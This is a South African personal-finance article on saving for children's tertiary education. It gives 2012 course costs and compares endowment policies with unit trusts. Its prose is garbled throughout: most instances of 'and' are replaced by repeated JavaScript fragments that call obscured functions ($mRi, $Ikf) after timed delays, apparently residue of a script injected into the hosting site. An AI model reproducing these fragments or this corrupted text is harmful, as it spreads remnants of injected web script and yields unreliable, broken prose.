The Best Way to Plan for Your Kids’ Education

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With rising expenses nowadays, making ends meet is hard enough, let alone being able to afford to raise a child.

The daily expenses for kids can range from school shoes to toothpaste, but one of the most important aspects that you should start planning for is your child’s tertiary education.

By thinking ahead andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and starting early you could prevent placing yourself under financial strain by the time your kids reach this important stage of their lives.

In South Africa the average cost for tertiary education in 2012 is as follows:

Course Tuition Residence Total
 MB CHB (Medicine) R224 649 R122 823 R347 472
 BCOMM (3 Years) R76 033 R54 410 R130 444
National Civil Engineering Diploma (3 Years) R47 423 R40 850 R88 273
National Marketing Diploma (3 Years) R40 049 R43 523 R83 573

 

As can be seen by the table above tertiary education is a costly aspect of your child’s future andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and in the event of your wanting to prevent them from shackling themselves to the ball andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and chain of debt from a young age you will have to take some sort of action.

The two most popular routes for saving towards tertiary education are Endowments andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Unit Trusts:

Endowments:

A pure Endowment is an insurance policy that is used as an investment vehicle by investing in underlying funds (Unit Trusts). The entire premium paid towards the policy is allocated towards the investment after costs have been deducted.

There is no life cover on Endowment policies; however a beneficiary can be added to which the proceeds of the policy will be paid in the event of the investors’ death.

Endowments can also be ceded as security. There could however be penalties payable at early termination of Endowment policies depending on the company used.

The proceeds from Endowment policies are paid out to the investor tax free at the end of the term, this means that the investor can then receive the full tax free lump sum or withdraw portions of this lump sum annually as a form of tax free income.

Even though the proceeds of an Endowment policy are tax free there is still tax payable during the duration of the investment term.

Unit Trusts:

Unit Trust investments are open-ended investments in which investors pool their money together.

The investors’ money is managed by a fund manager andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and his team of analysts who use the investors’ money to buy holdings in the different assets classes, namely Cash, Bonds, Property andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Equity.

Pure Unit Trust investments are open-ended which means that there is no specified end date or contract term when investing in these investment vehicles. Withdrawals can be made at any point in time without paying penalties.

In most cases Unit Trusts would be the better option to make use of in terms of saving towards your child’s education, due to the flexibility that these products offer.

However Endowments offer investors the following benefits that can be added (not automatically included) which are not available with Unit Trusts:

Waiver of payment at disability

With this benefit the life insurance company waives your premium for as long as you are disabled even if it is for the rest of your life. This means that in the event of your becoming disabled the life insurance company will pay your premiums for you monthly until your child reaches the specified age for which you were going to save.

Waiver of payment at death

With this benefit the life insurance company waives your premium in the event of death. This means that in the event of your death the life insurance company will pay your premiums for you monthly until your child reaches the specified age for which you were going to save.

Example of saving towards a child’s education:

Mr andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Mrs X would like to save monthly towards their newborn child’s tertiary education using a Unit Trust.

If they would like to start today andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and would like to make provision for a 3 year BCOMM course (tuition andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and residence included) 18 years from now, assuming an average annual inflation of 6% andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and an annual return after costs of 6% they would have to put aside approximately R445 monthly increasing with 10% annually. 

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For those of you interested in saving towards your child’s education either approach the insurance or investment company of your choice directly or speak to your financial planner for further assistance andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and financial planning advice.

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About Author

Raul Jorge is a CFP® professional at PSG. He specialises in estate, investment, retirement and risk planning. Prior to joining PSG, Raul completed his BSc (Honours) in Business Administration through the University of Wales and more recently completed his Postgraduate Diploma in Financial Planning through the University of Stellenbosch.